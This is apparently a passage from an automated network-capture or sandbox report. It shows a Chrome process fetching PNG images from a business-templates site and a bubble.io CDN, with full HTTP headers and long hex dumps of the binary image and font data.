2025-01-15 12:08:01 UTC	8949	IN	Data Raw: 09 05 05 09 12 12 0c 0c 0c 0c 0c 0b 05 07 0c 0c 0c 0b 0a 0b 0b 0b 0c 0c 00 00 00 00 09 0c 0c 0c 0b 0c 19 15 12 17 0b 13 13 13 13 13 13 13 13 07 07 07 07 07 07 07 07 12 12 12 12 12 12 12 12 07 07 07 07 12 12 12 12 11 13 0f 15 17 15 15 12 10 07 18 12 17 0b 15 10 10 10 10 07 11 0c 15 10 15 10 13 0f 15 13 00 00 00 00 00 00 00 00 00 1e 10 10 12 07 12 15 17 12 09 17 12 15 10 14 10 10 12 0e 15 00 00 00 00 00 00 07 00 21 42 19 00 09 09 0b 0c 12 12 1d 16 06 0b 0b 0d 13 09 0b 09 09 12 12 12 12 12 12 12 12 12 12 09 09 13 13 13 12 22 16 16 18 18 16 14 1a 18 09 11 16 12 1b 18 1a 16 1a 18 16 15 18 16 22 15 15 14 09 09 09 0e 12 0b 11 12 11 12 11 0a 12 12 07 07 10 07 1b 12 11 12 12 0b 11 09 12 0f 17 0f 0f 10 0b 08 0b 13 16 16 18 16 18 1a 18 11 11 11 11 11 11 11 11 11 11 Data Ascii: !B""
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 10 17 17 17 17 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 17 10 17 17 17 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 0e 0e 18 17 20 28 20 18 21 19 21 17 1e 15 1a 11 1a 16 20 18 25 23 1c 17 1c 15 1c 1c 1a 19 1f 17 13 11 19 18 15 0a 21 13 13 1c 1e 17 17 38 1a 21 1a 28 1e 1c 15 26 1d 23 1d 2c 24 19 13 21 1d 21 17 22 1b 22 1b 3a 30 23 1a 32 24 00 38 1a 1e 15 15 00 00 00 00 00 00 1e 17 1c Data Ascii: ( !! %#!8!(&#,$!!"":0#2$8
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 1a 1a 28 28 1a 1a 36 3e 1a 22 36 3e 1a 22 36 3e 1a 22 36 3e 1a 22 36 3e 1a 22 22 22 0e 0e 22 22 0e 0e 22 22 0e 0e 22 22 0e 0e 23 23 10 10 23 23 23 23 23 23 10 10 23 23 26 23 24 24 13 19 1a 1a 1a 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 1d 2b 27 2b 27 10 10 1d 1d 2b 27 10 10 2b 27 36 36 36 36 0e 00 00 00 00 00 00 00 4b 49 00 00 00 00 00 00 0d 19 00 00 28 00 00 00 37 37 24 24 4a 4a 39 39 24 1e 23 1a 1c 17 13 10 15 10 10 10 10 10 36 3e 11 00 17 22 24 28 24 28 24 28 24 28 24 28 24 28 24 28 23 23 24 28 25 33 2c 25 2c 25 30 30 22 30 36 2c 25 25 2d 28 29 34 2a 3b 0f 13 2d 22 0f 22 3c 30 25 34 3a 2d 33 25 2d 2d 22 29 19 13 29 13 29 32 30 34 22 29 22 29 29 25 25 25 25 1f 21 25 11 1c 27 16 59 52 46 47 38 1e 52 3f 34 25 2d 25 00 2d 25 43 3c 34 25 34 25 2d 22 34 Data Ascii: ((6>"6>"6>"6>"6>"""""""""##########&#$$+'+'+'+'6666KI(77$$JJ99$#6>"$($($($($($($(##$(%3,%,%00"06,%%-()4*;-""<0%4:-3%--")))204")"))%%%%!%'YRFG8R?4%-%-%C<4%4%-"4
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 32 00 00 03 ee 00 00 04 5c 00 00 05 44 00 00 05 80 05 88 00 00 05 92 05 b8 00 00 06 0c 00 00 06 36 06 a2 07 b8 00 00 00 00 00 00 08 1e 00 00 08 30 08 32 08 64 08 a0 09 de 00 00 0a 16 00 00 00 00 0a 12 00 00 0a 12 00 00 0a 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 34 0a 52 00 00 0a 70 00 00 0a 76 00 00 00 00 00 00 00 00 00 00 0a 70 00 00 00 00 0a 76 00 00 00 00 0a 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 86 00 00 0a 86 0a 88 00 00 00 00 00 00 0a 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 5c 0a 5e 00 00 00 00 00 00 00 00 0a 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2\D602dF4Rpvpv\^Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	18.245.86.62	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:00 UTC	398	OUT	GET /imgs/1000px/freeware-license-terms-D834.png HTTP/1.1 Host: templates.business-in-a-box.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:00 UTC	576	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 110187 Connection: close Date: Wed, 15 Jan 2025 12:08:00 GMT Last-Modified: Fri, 20 Nov 2020 18:30:07 GMT ETag: "cd1e9026418b81f2d6ac4e2bba519084" x-amz-server-side-encryption: AES256 Cache-Control: max-age=86400 x-amz-version-id: j85o8bKLY4xfgqX6ye5U4CVUqquboK7J Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 d72cc6b7011ac53cd6e4d65e0d9f5ac4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P6 X-Amz-Cf-Id: 7q9nsfUZD08nN3QYIP1pS4Zif67fjBIMxpx1kfftlzuCAVHR-OhXSQ== Age: 1
2025-01-15 12:08:00 UTC	6396	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 e8 00 00 05 0a 08 03 00 00 00 42 21 ab 65 00 00 00 09 70 48 59 73 00 00 01 f4 00 00 01 f4 00 c4 04 38 07 00 00 00 4b 50 4c 54 45 ff ff ff 02 02 02 24 24 24 d9 d9 d9 ef ef ef 2d 2d 2d 93 93 93 fc fc fc 10 10 10 f7 f7 f7 e1 e1 e1 85 85 85 b9 b9 b9 1a 1a 1a cf cf cf 4e 4e 4e 42 42 42 36 36 36 c4 c4 c4 69 69 69 77 77 77 a0 a0 a0 e8 e8 e8 5c 5c 5c ad ad ad 97 51 3a fd 00 00 20 00 49 44 41 54 78 da ec dd 89 72 a3 48 16 85 61 c4 be ef db fb 3f e9 70 6f 2e 80 2c bb 5c d5 d3 23 c7 d4 ff 55 44 87 84 20 59 82 03 99 49 e2 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRB!epHYs8KPLTE$$$---NNNBBB666iiiwww\\\Q: IDATxrHa?po.,\#UD YI
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: f2 b1 e4 e1 9b d6 b1 25 ef a6 b7 5a de cf fb f9 66 c3 6a 3f 53 79 db 3c e5 89 4b d2 fc 4f 3c fb a7 4a 81 df cf fb 79 3f ef e7 fd bc 9f f7 f3 7e 7e 55 6c a6 8e 47 67 e6 ef ce 2b cc d5 85 33 3f 78 f6 a1 cd 13 4a f3 ed ee a3 56 fa f3 f4 98 bf 94 d6 cf 10 f8 07 14 f7 83 3f cf eb 0b 90 69 f0 c7 50 3e 20 e4 69 8e 3c f7 63 cb 27 25 75 a2 ff 08 9d f9 cd 76 2e 37 cc c8 d3 7b b7 ff 15 a8 ca 5d be 69 24 58 c5 fa ed 97 12 ed f1 fb be 72 f1 aa 8c 79 f9 4e 2c 1e 91 68 3f 7c 36 44 2c e6 71 2b d6 2f 9c 3c eb 09 a0 ed 6c 9e f8 fa ca e1 93 9e 86 7f 2a b6 b4 db 87 09 60 6d 2c 0f 15 fd 7c 9e d7 ab 8e 19 a0 33 b3 21 7e b2 6e 3f 24 c8 6e 46 78 7e 88 f7 87 fd b9 df 83 6d ce f6 03 dd 4e fb c7 f2 78 e6 db ac 45 e6 dd fa 9b 0d 9d 77 c6 6d b7 91 77 c6 15 7f 79 7c 5a 5d e4 7b de 56 Data Ascii: %Zfj?Sy<KO<Jy?~~UlGg+3?xJV?iP> i<c'%uv.7{]i$XryN,h?\|6D,q+/<l*`m,\|3!~n?$nFx~mNxEwmwy\|Z]{V
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: e4 0c 74 7a 32 d7 35 f3 ef 05 3a 72 fb 8d 94 39 9a 1c 65 df 7f 1a d1 87 0d 53 1e ac 4c ed 99 e8 c5 c2 20 f7 13 d0 89 42 8a 86 95 84 37 67 ec 0f 40 ef 9b 05 19 93 9d 75 4f a0 2f 29 65 36 53 9c f8 58 d2 16 4f eb 6f 40 4f 50 c1 31 e6 c3 88 9e da b7 95 24 a5 21 6f d3 0d e8 b2 37 9d b8 9c ea aa 45 2e 27 61 c3 3a 3c 49 91 d2 44 31 bd e5 ef 81 0e e1 c7 22 fd 84 a4 6d b7 ee 4f 81 0e 97 f4 92 ed 79 d7 cb 0d e8 da 66 37 a0 af 44 1d c7 23 fa 9b ae 2e a0 df d2 be 04 0e 6b d2 72 ca 1a 7d 8c e8 47 10 71 de 81 6e 08 87 4d 8d 2c 03 de be fe 04 e8 75 4a 3f fd 04 f4 33 e2 e4 5d 01 9d e4 bd 01 5d b8 03 73 03 38 e7 a2 27 80 df 88 42 50 01 fd d6 21 fc 12 a0 8f 0b 96 9a d4 54 a7 39 8e 0a 36 3f c6 e8 26 12 71 8f 4f bf 93 ff 92 e3 75 cd 41 0d f6 d9 b8 48 cb 54 8f 44 4e 45 c3 8a Data Ascii: tz25:r9eSL B7g@uO/)e6SXOo@OP1$!o7E.'a:<ID1"mOyf7D#.kr}GqnM,uJ?3]]s8'BP!T96?&qOuAHTDNE
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: a3 8e e1 1b a2 38 a6 ee 3e 21 7c b6 5f 68 57 ba ba fa ef bb 50 4f fb 2f 84 ad fb 27 82 9a 67 1d d0 e0 b2 f8 e8 78 3e b5 4f 57 68 7b d7 ff 26 7b 4a ef 61 4b 48 7f 5b ad 67 fa a0 7f e4 82 2d 3f b6 53 76 9d 7b 1b 7e 61 b0 3c ff a4 dd f0 4f 29 ff ef bc 52 e2 c0 79 7d 9d 97 e7 73 f5 be 98 7d c2 86 a8 2f de 7f 9e af fc 57 fd 3e fd 02 d0 9f cf 04 78 6e 03 76 70 95 1f 9e c3 f9 40 0b b5 7e c7 6b c1 4f d9 93 81 de ae b7 b2 2b 03 ef c7 3f 44 8c 06 5b 56 dd 97 84 67 cc 63 2f 7b f5 af 07 cb 8b 71 34 b6 ae 7c f3 bb 5f ac d7 0f 16 39 19 66 3c 33 07 b1 e9 3d 2c 7b b0 fe 51 91 8a 07 7b 37 94 b9 2c c8 b4 ae 90 59 a0 63 9e 88 a6 5a 84 0e a8 34 f9 c0 94 1a a8 02 45 03 a0 2c 43 a1 32 74 90 17 e1 52 1d 89 f4 2f da 15 ca 50 03 ca ea 02 f4 8a 1b 88 fa 63 b5 68 cd 85 b5 c9 8f a1 Data Ascii: 8>!\|_hWPO/'gx>OWh{&{JaKH[g-?Sv{~a<O)Ry}s}/W>xnvp@~kO+?D[Vgc/{q4\|_9f<3=,{Q{7,YcZ4E,C2tR/Pch
2025-01-15 12:08:01 UTC	7095	IN	Data Raw: 76 ca 19 bd ea 22 f2 8d 36 d9 23 9a 49 8f 27 d0 e3 09 74 3a a3 4b bf f3 13 e8 52 4a 35 0b 18 f6 98 3b a0 7b 01 b8 ce 0b 4a f5 0a 74 d0 bd 39 7e d3 c7 43 de 8a 7c 67 e7 19 dd ed dc 21 96 2e 67 74 10 3b 3e d2 a2 16 d1 21 81 72 46 97 59 6a 69 61 13 9c 70 50 5e a4 56 af 8b c9 be b9 58 e5 52 26 6f f0 5e c2 1d a2 85 81 e3 77 18 8d a1 60 2b c0 fe 55 56 44 7e 5e 66 b8 05 f2 04 3a da 1c d6 97 33 3a d0 13 f8 4c aa 67 f4 06 9d 32 a0 bf 3d 40 ff 04 74 0a 98 49 6c fe 31 d0 3b 4b 26 e6 84 77 38 f5 b6 bd ec e8 7b 0a 66 29 e7 39 b2 b2 27 7d 9a c9 a3 61 0e 34 5c 00 fa 42 3b 3a 0b c9 31 b8 ba 02 7d 1d c4 a4 d0 ea 0e bb 80 92 0e ad ee c3 65 47 1f a6 34 e1 e5 77 a0 57 7e b6 f6 05 e8 07 7d 05 a7 50 c0 81 53 ca 91 71 3b 21 fd ca 7b 3f f8 d4 b3 5d 11 d0 e5 4e 3a 3e 59 dd f7 53 Data Ascii: v"6#I't:KRJ5;{Jt9~C\|g!.gt;>!rFYjiapP^VXR&o^w`+UVD~^f:3:Lg2=@tIl1;K&w8{f)9'}a4\B;:1}eG4wW~}PSq;!{?]N:>YS
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 63 74 42 6b 1a 23 07 4d 6b 71 31 fa b0 43 8d 89 cf 65 d6 7a b9 61 66 5a 7e 80 3d 5d c5 52 f3 72 bb 74 8c b5 8f 26 33 a6 89 4a 36 b5 1a 46 05 75 00 8d 32 6d f6 82 5f 9e ea 23 7a be 2b 2d 84 da 79 2d 22 45 a1 1e e5 f5 5c 47 4a e5 1b f0 68 ba f5 90 7b bb 55 9a 82 1f 40 ef 0a 66 ae c1 84 6f b7 65 c2 f5 b9 38 47 c3 89 da 17 92 09 2d b0 45 81 0b 46 dc 89 17 59 d0 5b 37 95 53 95 ae 74 7e 8e 91 53 fc fb 43 a3 fc 54 ab 82 0d c0 b8 2b ad 1b b3 4a 73 b8 20 d0 08 80 cc 9f 4b 68 fb 54 e8 5d d8 81 bd 61 6b 7d 23 56 a5 dd 3d 0d 26 cf 36 01 82 de a6 16 7f 99 f1 df 26 e7 3e 7a c9 a2 85 1f 30 9b 30 f8 95 e1 09 0a 3a c7 10 4c 7e 30 76 8b 24 ed 36 cf 28 ec 93 7b b3 48 86 61 9b 7b 94 4c 46 71 53 96 01 ec 62 4c cc 0c 98 25 8a 45 0a b0 41 d8 49 d0 b7 c5 e8 01 4b 10 60 32 c5 e9 Data Ascii: ctBk#Mkq1CezafZ~=]Rrt&3J6Fu2m_#z+-y-"E\GJh{U@foe8G-EFY[7St~SCT+Js KhT]ak}#V=&6&>z00:L~0v$6({Ha{LFqSbL%EAIK`2
2025-01-15 12:08:01 UTC	16384	IN	Data Raw: 1e f1 04 d1 49 6c 36 25 24 92 f3 e5 f0 0b 74 e9 6d 86 3a 42 f0 7b 2d 7e 7f 6e 12 97 9a 33 aa 39 f6 c3 e1 6d 8b e8 0b 8f 38 fb 37 e8 7b b5 21 cf 01 43 98 9d 9d dd 86 0f d0 cf 95 29 67 9c 7d 80 3e 30 13 ec 92 15 40 af f8 c9 e9 cf a0 f7 46 77 07 6e 8e 8b dd ce 5b df f9 01 fa 90 43 9a 52 09 74 b2 ef 9e 14 8b 2f d0 9b 8c e3 0d 74 76 be fb 8f a0 b7 ca 06 4d a0 e2 53 ee cb 57 ae c0 32 83 a3 b6 2b cf ba 3f 4f dd 9f 7e 20 c7 bd 81 de 98 75 df a0 af 42 f8 62 96 37 d0 e7 73 c4 35 9e 85 09 56 4f 6f 27 7a b6 b1 ce fe 02 dd 8a a6 cf 8c aa 7a f2 65 5e fe 00 7a 6c 3d fa c1 8c 03 da 78 bc 94 a0 7a de 22 7d b8 40 b7 c6 16 f9 2a f9 8e 52 d9 b4 65 24 76 df a0 7f c5 d2 23 9e 90 2c cc 41 8b d9 c0 86 d6 fe 06 7a b0 a4 4d 2d ea 17 f4 ef e4 3b e7 ff 0f 74 de 9f 59 a9 76 e8 ec cd Data Ascii: Il6%$tm:B{-~n39m87{!C)g}>0@Fwn[CRt/tvMSW2+?O~ uBb7s5VOo'zze^zl=xz"}@*Re$v#,AzM-;tYv
2025-01-15 12:08:01 UTC	14776	IN	Data Raw: 2e b0 c6 f5 80 f1 42 74 55 f8 5d 74 47 df bd a0 67 78 98 22 b1 a1 63 f3 aa 8c 9e 8f 83 d2 2b d1 63 cb d0 c0 6d e4 79 9c 2b d1 f7 4c f4 63 91 e6 c4 e5 20 fa f9 50 6d 7b 21 7a 5e 23 e5 ac 8f f0 74 48 fd 0f 89 9e 67 15 13 f4 ef 88 5e b8 3a a5 d4 db 1d 30 9b c7 42 81 dd 4b 2d a3 17 41 c7 7c eb 3a cf c5 97 3f ce df 2b d1 1b d1 45 af 99 31 63 c8 8d ba b7 44 b7 2b de dc 5d 75 66 72 f7 fd e9 75 d0 43 55 a2 77 2c 2e 0a 5f 02 c6 9c 21 9a 58 89 7e 13 0b c5 b5 e3 36 9d 44 17 72 5d d5 de f9 f7 44 07 2d ef 1d 1c 44 3f e5 e6 6b c0 30 a2 ca 54 ec 29 12 1f c6 2d 3a 8c b7 0b d1 a1 67 24 fa 69 3f f1 44 74 30 a3 f0 6b d7 ab e6 2d d1 ef 76 b8 12 fd f0 30 a9 d3 db 31 33 75 1e 9b c9 0d 76 b4 47 fc 00 3d 7e 4b f4 58 18 06 33 70 27 3a c4 4b c3 ca bd c5 8f fc de 10 7d 54 79 e0 c3 Data Ascii: .BtU]tGgx"c+cmy+Lc Pm{!z^#tHg^:0BK-A\|:?+E1cD+]ufruCUw,._!X~6Dr]D-D?k0T)-:g$i?Dt0k-v013uvG=~KX3p':K}Ty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49761	104.17.124.183	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:02 UTC	652	OUT	GET /f1718227932057x822365466237625200/DOCU-60cafc67.png HTTP/1.1 Host: meta-q.cdn.bubble.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:02 UTC	709	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:02 GMT Content-Type: image/png Content-Length: 22658 Connection: close Cf-Bgj: imgq:100,h2pri Cf-Polished: origSize=33006 Last-Modified: Wed, 12 Jun 2024 21:32:13 GMT cache-control: public,max-age=86400 etag: "282ba85a1c65bfadc21a004e2a4a9ad5" x-amz-id-2: ceXUydcp6EAs/OZblvKkETJpNdWi0JeGYg9lQidHUJLcNiC1OGrUQzjPkrOaNNvxFsuqsOXZTSU= x-amz-meta-app-version: live x-amz-meta-appname: meta x-amz-request-id: PYXAYR22FQQDKA78 x-amz-server-side-encryption: AES256 x-amz-version-id: VJwr9ehspq7Y4Hruul9084tFCPC0kb1W CF-Cache-Status: HIT Age: 64144 Accept-Ranges: bytes Server: cloudflare CF-RAY: 9025bfb9a89043f2-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:02 UTC	660	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 06 0b 00 00 06 0d 08 06 00 00 00 f4 90 6b 42 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 58 3c 49 44 41 54 78 da ec dd df eb dd 05 1d c7 f1 e7 5a f8 63 9b a5 a3 81 a2 e2 5a 33 d0 0a ac 06 82 20 b1 81 50 14 44 6a 11 68 45 66 84 17 d6 55 84 83 ac 2e bc 89 2e 2c 2a a2 1f 42 3f c0 8b 46 20 c6 c4 95 2b 67 5b d2 dc 82 72 df fc b1 2d 37 6d e4 36 99 b5 59 a3 82 ba 39 f0 85 f6 fd ea be ba ef f6 3d 9f f3 78 c0 8b cf 39 e7 2f 38 9c 27 6f ce a2 ff 5e 7f 7d 00 c0 6b b2 a2 ba a0 3a bf 5a 12 00 00 b3 f9 4f f5 ef 9a de f4 67 27 ec a5 00 80 d3 e6 f5 01 00 27 eb ea 6a 5d 75 45 b5 6a b4 8b 02 00 60 3e 1d af fe 31 cb fe 39 c3 67 c7 aa bf 57 7f 9b 65 07 03 00 4e b0 c8 65 01 00 cc ea 9c ea c6 ea 83 d5 75 d5 1b 03 00 60 08 Data Ascii: PNGIHDRkBsRGB,X<IDATxZcZ3 PDjhEfU..,*B?F +g[r-7m6Y9=x9/8'o^}k:ZOg''j]uEj`>19gWeNeu`
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: 7b 00 00 c0 42 f0 4c f5 40 f5 50 b5 a9 3a 1a 00 0b d2 eb 02 80 61 f9 76 00 00 c0 42 b1 b2 ba ad da 50 1d a9 b6 56 77 56 57 fb 5d 0a 60 4e 5c 16 00 c0 1c 7c bc fa 61 00 00 c0 38 38 52 fd b2 da 54 6d ac 0e 04 c0 cc c4 02 00 38 69 e7 56 7b aa 8b 02 00 00 c6 d1 ae ea be 6a 63 b5 35 00 a6 89 05 00 70 d2 3e 57 dd 1d 00 00 30 04 87 aa 8d d5 fd d5 83 d5 b1 00 f0 9f 05 00 f0 0a ce aa be 10 00 00 30 14 2b aa 4f 54 1b aa 17 aa 4d d5 ed d5 a5 01 e0 b2 00 00 66 f1 e9 ea bb 01 00 00 93 60 aa ba af da 50 ed 0c 00 97 05 00 30 f2 99 00 00 80 49 71 65 75 47 b5 a3 9a aa be 58 ad 0e 00 97 05 00 4c b4 37 57 7b 03 00 00 26 dd 8e ea de d1 0e 04 80 cb 02 00 26 ca ad 01 00 00 d4 bb ab af 55 cf 55 5b aa db aa e5 01 e0 b2 00 80 89 f0 64 f5 d6 00 00 00 66 f6 8b a6 2f 0e 8e 07 80 cb Data Ascii: {BL@P:avBPVwVW]`N\\|a88RTm8iV{jc5p>W00+OTMf`P0IqeuGXL7W{&&UU[df/
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: 00 00 60 ea b6 55 4b d5 a1 6a 5d c0 df 88 05 00 00 00 00 c0 08 d6 57 87 ab c5 6a 73 c0 9f 88 05 00 00 00 00 c0 48 76 54 cb d5 e3 01 7f 10 0b 00 00 00 00 80 d1 6c ac de ab de af ae 09 48 2c 00 00 00 00 00 46 f5 58 f5 63 b5 3b 40 2c 00 00 00 00 00 86 75 63 75 b2 7a c5 e3 c7 20 16 00 00 00 00 00 e3 ba a2 7a b1 5a ac 16 02 c4 02 00 00 00 00 60 58 3b aa b3 d5 93 01 62 01 00 00 00 00 30 ac 0d d5 3b d5 87 d5 d5 01 62 01 00 00 00 00 30 ac 47 aa a5 ea d6 00 b1 00 00 00 00 00 18 d6 96 ea bb ea e9 00 b1 00 00 00 00 00 18 d6 7c f5 56 75 cc 6f 89 40 2c 00 00 00 00 00 c6 b6 bf 5a aa 6e 09 10 0b 00 00 00 00 80 61 6d a9 ce 54 4f 05 88 05 00 00 00 00 c0 b0 e6 ab b7 ab 63 d5 7c 80 58 00 c0 e4 ad 04 00 00 00 ff 6c 7f f5 7d b5 10 f0 3b 7b f7 ce 1a 66 1d 05 60 fc c9 45 6b 4a Data Ascii: `UKj]WjsHvTlH,FXc;@,ucuz zZ`X;b0;b0G\|Vuo@,ZnamTOc\|Xl};{f`EkJ
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: 00 00 00 00 80 d1 2e 54 5f 07 62 01 00 0b b2 1f 00 00 00 b0 8a 03 d5 ed ea e3 40 2c 00 60 21 36 02 00 00 00 56 75 b4 ba 55 6d 05 62 01 00 00 00 00 c0 58 c7 aa dd 6a 33 10 0b 00 00 00 00 00 c6 da a9 ce 05 62 01 00 00 00 00 c0 68 67 aa 1f 02 b1 00 00 00 00 00 60 b4 7f ab 9d 18 4f 2c 00 00 00 00 00 98 6b b3 da ad 3e 88 d1 c4 02 00 00 00 00 80 d9 b6 aa bb d5 56 8c 25 16 00 00 00 00 00 70 ac da f5 33 9e cb e1 01 00 00 00 00 a8 da a9 ce c5 48 62 01 00 00 00 00 00 0f fd 54 9d 8e 71 c4 02 00 00 00 00 00 ea 91 ff aa af 62 14 b1 00 00 00 00 00 80 7a e4 40 75 ad 7a 27 c6 10 0b 00 00 00 00 00 78 dc 76 75 a3 3a 18 23 88 05 00 00 00 00 00 3c c9 e7 d5 f9 18 41 2c 00 00 00 00 00 e0 69 4e 55 bf c6 e2 89 05 00 00 00 00 00 3c cb d9 ea db 58 34 b1 00 00 00 00 00 80 e7 fd 91 Data Ascii: .T_b@,`!6VuUmbXj3bhg`O,k>V%p3HbTqbz@uz'xvu:#<A,iNU<X4
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: da 87 ea 74 88 05 00 2c 94 cd 00 00 00 00 fe de a9 ea 63 88 05 00 2c 14 37 0c 00 00 00 d8 ab 67 d5 d9 30 b4 00 00 00 00 00 30 d6 89 ea 53 88 05 00 00 00 00 00 8c b6 5a 9d 0f b1 00 00 00 00 00 80 b1 8e 55 6b 21 16 00 00 00 00 00 30 da d3 ea 62 88 05 00 00 00 00 00 8c 75 a4 5a 0f b1 00 00 00 00 00 80 d1 1e f9 5d 20 16 00 00 00 00 00 30 db a1 ea 6b 88 05 00 00 00 00 00 8c 76 bf ba 1c 62 01 00 00 00 00 00 63 2d 55 df 42 2c 00 e0 c0 da 0c 00 00 00 e0 df dd ab ae 37 9c 58 00 c0 41 e5 86 01 00 00 00 ff cb 7a c3 19 5a 00 00 00 00 00 98 ee 6e 75 a5 c1 c4 02 00 00 00 00 00 a6 5b aa 3e 35 98 58 00 00 00 00 00 00 f5 a0 ba d4 50 62 01 00 00 00 00 00 d4 a1 ea 5d 43 89 05 00 00 00 00 00 50 55 8f ab 73 0d 24 16 00 00 00 00 00 40 55 1d a9 3e 36 90 58 00 00 00 00 00 00 6d Data Ascii: t,c,7g00SZUk!0buZ] 0kvbc-UB,7XAzZnu[>5XPb]CPUs$@U>6Xm
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: 02 00 00 00 58 96 df 5d 47 2c 00 80 b5 56 01 00 00 00 2c cb 5e b5 d5 55 62 01 00 00 00 00 00 8c b1 59 7d e9 0a b1 00 00 00 00 00 00 66 39 ea 0a b1 00 00 00 00 00 00 66 39 ec 0a b1 00 00 00 00 00 00 66 79 5a bd ea 12 b1 00 00 00 00 00 00 e6 f9 d9 25 62 01 00 00 00 00 00 cc 73 d4 25 62 01 00 00 00 00 00 cc f3 a1 da ae aa 12 0b 00 00 00 00 00 60 9e 55 f5 ab aa 12 0b 00 00 00 00 00 60 a8 a3 aa 2a b1 00 00 00 00 00 00 66 fa 51 3d a8 12 0b 00 00 00 00 00 60 a6 ed 6a b7 4a 2c 00 80 f5 ce 03 00 00 00 58 b6 c3 aa c4 02 00 b0 61 00 00 00 c0 58 df aa 1c 2d 00 00 00 00 00 30 d7 eb ea 91 58 00 00 00 00 00 00 b3 7d 17 0b 00 00 00 00 00 60 b6 7d b1 00 00 00 00 00 00 66 3b 10 0b 00 00 00 00 00 60 b6 e7 d5 0b b1 00 00 00 00 00 00 66 3b 10 0b 00 00 00 00 00 60 b6 7d b1 00 Data Ascii: X]G,V,^UbY}f9f9fyZ%bs%b`U`*fQ=`jJ,XaX-0X}`}f;`f;`}
2025-01-15 12:08:02 UTC	1369	IN	Data Raw: 05 00 0e b0 9f 5b 5b 2d 57 c7 c7 5b 2e 8d 8e 7e f9 a5 65 00 00 c0 ff eb da ed b0 e0 66 92 4f 49 ce 06 00 f2 37 cd 02 00 28 87 57 2b 2b ed c7 47 46 be 7e 5b 5b 5b 0f 00 00 ec b1 66 c1 9d 24 43 01 80 ea a9 4b 62 cc 12 80 9a b0 b2 b1 d1 d6 51 2c ae 17 97 97 ad 25 02 00 e0 5f 75 ee 56 58 f0 28 c9 93 00 40 95 39 70 0c 40 2d d9 dc d9 39 72 79 6c ac f0 6c 7e fe 73 00 00 a0 74 6d 49 0e 97 fb a3 65 30 c9 fd 00 00 00 50 0d 0d b7 26 27 4f 3e 9c 9d 9d 0a 00 00 94 ae bb 9c 61 c1 75 87 8c 01 d8 4b ac 21 02 a0 46 d5 0d cc cc 9c bb 31 31 f1 26 00 00 bf d9 bb 9b 16 1f f7 38 8e e3 9f ab dc 74 9c 85 53 ce c9 21 33 64 30 c4 82 14 45 94 94 9b 28 3b 2b ca c2 b3 b0 f2 2c 2c ec d8 d8 8a 22 45 63 6e 64 a1 2c 94 94 95 0d 63 78 0c 7f 4d d9 08 ff b9 ae f9 8f e9 ba ae df eb f5 34 de Data 